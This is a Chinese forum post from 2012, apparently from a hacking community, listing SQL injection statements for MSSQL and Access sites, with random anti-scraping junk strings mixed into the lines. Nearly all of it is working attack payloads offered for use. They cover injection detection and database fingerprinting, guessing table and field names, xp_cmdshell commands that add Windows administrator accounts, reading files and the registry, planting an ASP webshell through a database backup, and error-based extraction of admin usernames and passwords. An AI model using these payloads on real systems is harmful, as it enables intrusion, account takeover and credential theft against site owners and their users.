找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2187|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
8 G/ P$ O& X/ S: L;and 1=1 7 V( y* \. u3 K8 ~
;and 1=2 4 S" R- d+ R& F% d

8 @& }* o# u: M2.初步判断是否是mssql # B7 M; W4 ^1 Y
;and user>0
( W; R0 x8 {$ S1 a
8 O( @; }& h7 l% E" }0 I2 X3.判断数据库系统
0 z& N% v3 f) P( }! ?;and (select count(*) from sysobjects)>0 mssql
4 ?0 C( f0 ~( S5 m+ T;and (select count(*) from msysobjects)>0 access
- l. D' Z$ |+ E, l/ v. p
& x& a6 W2 Q3 `4.注入参数是字符
( r! c! v' \: G4 e'and [查询条件] and ''='
4 c  {$ X6 J* _5 b! |/ w, k; {! ]! O2 i# E( \' ~2 s/ e
5.搜索时没过滤参数的 + y1 V' N5 t* i: |7 V4 l2 H
'and [查询条件] and '%25'='
% V4 J' N  n3 m/ t4 W  _8 {
2 t* y. G0 Z8 K. w6.猜数表名
4 c7 u* F6 N0 o; A;and (select Count(*) from [表名])>0 1 |' F0 r% ~9 D/ F* Y, m

- |$ `! }7 |! f/ {% W7.猜字段 3 c  E" n2 p. ]5 ]/ G
;and (select Count(字段名) from 表名)>0 . V/ h+ @# F# ]  @

/ ~  d/ C& M7 E1 ^4 O% b8.猜字段中记录长度 & @  j0 d1 o: a' G& d; K
;and (select top 1 len(字段名) from 表名)>0
7 Z1 U5 v8 H9 O; V* o& `0 i  T) d) P
9.(1)猜字段的ascii值(access) 8 H+ h$ V& I% \
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
8 g7 n+ b9 O7 d' d$ p& C. s8 l. @, K9 `1 U  E" ?
(2)猜字段的ascii值(mssql)
+ S" R. p" D2 o" [1 {3 _/ K5 N;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
$ z5 N; S5 c8 c% U0 }  \+ J# e( J# z8 o
10.测试权限结构(mssql) # Q" ?* y6 w, y0 G9 z: \" n
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ! v9 p9 Z$ J4 f1 W) N; u$ ~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: Y8 N  w) c' u5 l% O' R6 {;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ' D: R. w# b+ O6 X
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ }4 ?& k! }" B4 ?! Y5 @; h, N
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7 ], U2 `5 \! L/ R- }
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
* D4 R) G% [& O: A: ~( S3 s2 J4 {9 Y;and 1=(select IS_MEMBER('db_owner'));-- 5 Z! D2 `4 q6 K0 j  R
$ |7 {! W: w& e& B& W% q
11.添加mssql和系统的帐户
$ V4 r+ v6 P# H! a5 i0 L5 w9 X;exec master.dbo.sp_addlogin username;--
1 m! ^' e& E8 i4 g, X;exec master.dbo.sp_password null,username,password;-- , \3 X& b! ~3 A
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 v: o6 o9 v7 {" T
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
; P/ K$ o4 k! d1 w! ]" v;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; n  \! B$ d$ G' a( |3 z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--   G9 U& K+ N( s6 ]' F/ \" ?
$ Q& ?, x% c4 P! I# l
12.(1)遍历目录 - e0 z2 L: H1 L) k
;create table dirs(paths varchar(100), id int)
8 S8 L& ~" C' r( `3 f/ j& Q. J1 W;insert dirs exec master.dbo.xp_dirtree 'c:\' / B$ w" N0 S+ L  k
;and (select top 1 paths from dirs)>0 ( M$ v# j  e# D  N
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / F: Z1 G1 b. K: h) |) x
7 A7 X7 {7 O7 [2 @+ z; a
(2)遍历目录
3 ]- f. J) a7 i7 C2 D  @;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & P% w- n  U0 f4 v7 C2 I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
0 z' y) t1 w; H0 H8 X9 h0 d1 J;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 / K' Q& r1 X0 j3 b' [
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 # J0 g" f" m5 v6 D  ?* Y7 L5 D
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 * \) ^' I' J% ^, B7 k

+ T0 J3 o( i0 d4 m13.mssql中的存储过程
  `' h; _! i! F% oxp_regenumvalues 注册表根键, 子键 $ ~8 f( j) j" C
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) f! |# V) X1 ~$ U7 Q
xp_regread 根键,子键,键值名
0 q/ I5 M* c( ?  b;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 i+ y. u9 u9 p. H  x5 E' @  c
xp_regwrite 根键,子键, 值名, 值类型, 值
+ u' q. O0 G8 n值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 7 P, z- I  j7 y7 x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
9 v3 R4 |+ t: I+ U' J2 V! ?6 Nxp_regdeletevalue 根键,子键,值名
7 @3 q/ r3 S! M1 v0 _exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
2 r6 _7 b! a  C2 s2 a! W9 Pxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! @6 J" ?. Y2 b: X  P# h

' h; U$ X+ G" W- x- I4 g, ~4 M( x14.mssql的backup创建webshell
, R9 e, p0 r0 uuse model
* h* P2 y- Q  g! ocreate table cmd(str image); $ \& t5 J4 e5 T3 ]7 k0 B  t% F
insert into cmd(str) values ('<% Dim oScript %>');
3 W5 h& A, u" C4 ~; _' c$ X8 ~backup database model to disk='c:\l.asp';
7 v# S8 R3 H  h1 s9 s. W8 g) x  u  i# H- U
15.mssql内置函数 9 L! p3 h. D* i* C5 E: j0 h% _; P
;and (select @@version)>0 获得Windows的版本号   X- }  ~2 P  `3 O; z6 ~
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
, R9 b: G3 i/ d. g;and (select user_name())>0 爆当前系统的连接用户 $ J4 P7 n* x3 Y: f
;and (select db_name())>0 得到当前连接的数据库
5 S2 t0 p% V! ?
( ?7 n6 C( o9 {7 i, A1 T1 o- B
5 l. E; }2 O: ^( U% |1 n. |9 U7 }8 h+ S, k
MSSQL手注暴库7 s$ V/ ?+ Z$ r7 v
: D$ k8 n8 |* A/ c- h# x9 ^
1.暴出当前表名和列名
$ g& ?3 T9 {* I7 ~2 n在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
- Z8 z+ r( R8 H- a% t! d
) }& y3 [# \" L7 W2 N  t第一.爆出所有数据库名
$ a, ^; \# ~* E3 @% a. z利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。) S1 A6 o) [3 T7 J! P$ s$ ~) n
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
% [8 ^+ G) |4 Q' ?$ C  P3 k' k- o% b) r, I1 J! \8 b
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名4 a  l' d% `5 D7 Q& Z5 a

) S! ?) u& I5 b+ S( `7 ~- Z6 B- a; W+ k; \* [, T
第二.爆出指定库中的所有表名+ H! \8 k1 N8 [! ]( o
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 i* l% q, A6 d
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。+ O4 O8 {% u& f  a1 V0 k. x) v2 }1 R1 ]
, w& g( S3 o) \- N
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' l* \6 P" [! K5 ^$ U7 I
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
* m& y7 ?/ z' l8 Land 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
9 P" l" C5 B- l3 M2 J5 A: D3 I/ m3 d. r% \. h
4.爆出指定表中的所有列名
1 }. e5 D& n! E5 v+ g% \and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 1 O# D* Q& n% ^4 W! a+ a$ r
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
/ }) r, T+ J3 T. D7 f- \( @2 B( A9 J  t" s( m- q5 L
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
6 [3 ~  \. x( B3 m- y% q" }! W1 c  n- o2 l" R. ]5 f
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ! @( ?+ S6 a  x2 a* Q) F
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。# _% Q; k- {) W: A3 v! F
+ w8 a7 s2 ~& L) {# G- @

4 Y5 _) j2 I3 c3 hand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值6 t; C* j$ ?# R
0 l2 `3 n6 i: F0 g, b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名  T. B+ |7 w" U2 M. R

3 w) {4 O- z5 u+ uand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- , Y' F& }! V# o0 N- O

: c9 {% b4 V1 m
3 ?0 _  u' D4 J! [
; j5 ^: G! p1 i5.读取指定表中的数据
# c0 p5 F' X& r9 N+ m; x& e7 a. U. ?" t3 G& T& F
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
+ [( _$ |' ^, w9 k  n+ a% D
* w9 p$ r1 v" |; q+ I; nand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 o! i# B/ [( J' c9 q1 _1 W' r  u" H
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码* g* g- D( S8 {9 ^3 G4 ]) y- N" t

$ [6 n' e' }( s; }& m1 k" ^/ u# Z" k$ b
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
' t8 f$ p7 X& m0 X; R4 g" t1 D# `/ O( e8 ~1 w' W9 O
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
  q$ ?( Q' n$ y, I. |: g9 ]
5 `7 N8 I* ^* f& z( D; iand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
( D' E/ o8 b" B' N! z8 ?! o3 I
4 O9 F4 R$ o+ B知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。2 J1 t' }9 H. \, y1 ]- z* u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表